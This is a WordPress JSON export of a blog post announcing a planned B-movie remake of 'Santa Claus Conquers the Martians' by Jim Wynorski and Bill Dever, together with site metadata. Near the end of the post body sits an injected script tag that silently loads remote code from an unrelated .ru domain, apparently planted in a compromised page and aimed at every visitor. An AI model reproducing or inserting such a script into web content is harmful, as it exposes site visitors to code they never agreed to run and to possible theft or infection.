Beside being continually resigned to the &#8220;bottom 100&#8221; list on the Internet Movie Database, the show was also included in an episode of the 1986 syndicated series, The Canned Film Festival. It stars a cast of deserved unknowns, save for a precocious 8-year old named<br \/>\nPia Zadora, who plays one of the Martian children.<\/p>\n<p>\u201cSanta Claus Conquers the Martians\u201d was made forc a mere $200,000 in four days at a converted airport hanger on Long Island, not far from where Jim Wynorski grew up. Over the next several months of pre-production, Wynorski will be consulting the same crack team brought together for the recent Bill Dever production, &#8220;Gila,&#8221; a remake of the genre classic &#8220;The Giant Gila Monster&#8221; from 1959.<\/p>\n<p>Producer Dever, whose tireless devotion to all things B-Film, will again be bringing all the diverse elements together to make sure this new picture has the same high gloss as GILA! &#8220;The approach we&#8217;re taking on this update,&#8221; claims Dever, &#8220;will hopefully prove to fans that Santa really has a brand new bag.&#8221;<\/p>\n<p>Santa Claus Conquers The Martian shoots this summer in Southern Indiana.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Franklin, Indiana &#8211; Long time exploitation director Jim Wynorski announced today that his next production will be a star-studded remake of the B-Film classic \u201cSanta Claus Conquers The Martians.&#8221;It&#8217;s a show that screams out to be remade with today&#8217;s modern technology,declares Wynorski, who, along with producer Bill Dever, feels the infamous &#8216;kiddie matinee&#8217; is now&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1177,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"thumbnail":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500-145x145.jpg",145,145,true],"medium":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500-300x182.jpg",300,182,true],"medium_large":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"large":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"1536x1536":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"2048x2048":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"gridflex-1422w-autoh-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"gridflex-1074w-autoh-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",460,280,false],"gridflex-360w-300h-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/01\/tumblr_lwpfbyp02e1r317yvo1_500.jpg",360,219,false]},"uagb_author_info":{"display_name":"admin1","author_link":"http:\/\/www.bmovienation.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":"Franklin, Indiana &#8211; Long time exploitation director Jim Wynorski announced today that his next production will be a star-studded remake of the B-Film classic \u201cSanta Claus Conquers The Martians.&#8221;It&#8217;s a show that screams out to be remade with today&#8217;s modern technology,declares Wynorski, who, along with producer Bill Dever, feels the infamous &#8216;kiddie matinee&#8217; is now...","_links":{"self":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/1176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1176"}],"version-history":[{"count":0,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/1176\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/media\/1177"}],"wp:attachment":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1176"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
